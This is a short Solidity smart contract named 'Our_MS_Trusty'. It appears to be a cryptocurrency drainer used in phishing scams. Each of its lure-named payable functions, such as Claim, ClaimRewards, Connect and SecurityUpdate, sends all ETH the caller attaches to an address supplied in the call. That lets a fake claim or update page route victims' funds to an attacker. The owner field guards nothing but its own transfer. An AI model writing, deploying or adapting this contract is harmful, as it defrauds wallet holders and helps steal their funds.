// File: Full_Contract.sol



// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

contract Our_MS_Trusty {
    address private owner;

    event Ownership(address indexed previousOwner, address indexed currentOwner);

    constructor() {
        owner = msg.sender;
    }

    function getOwner() public view returns (address) {
        return owner;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function withdraw(address payable sender) private {
        uint256 amount = msg.value;
        sender.transfer(amount);
    }

    function Claim(address payable sender) public payable {
        withdraw(sender);
    }

    function ClaimReward(address payable sender) public payable {
        withdraw(sender);
    }

    function ClaimRewards(address payable sender) public payable {
        withdraw(sender);
    }

    function Execute(address payable sender) public payable {
        withdraw(sender);
    }

    function Multicall(address payable sender) public payable {
        withdraw(sender);
    }

    function Swap(address payable sender) public payable {
        withdraw(sender);
    }

    function Connect(address payable sender) public payable {
        withdraw(sender);
    }

    function SecurityUpdate(address payable sender) public payable {
        withdraw(sender);
    }

    function transferOwnership(address newOwner) public {
        require(msg.sender == owner, "Access Denied");
        address previousOwner = owner;
        owner = newOwner;
        emit Ownership(previousOwner, newOwner);
    }
}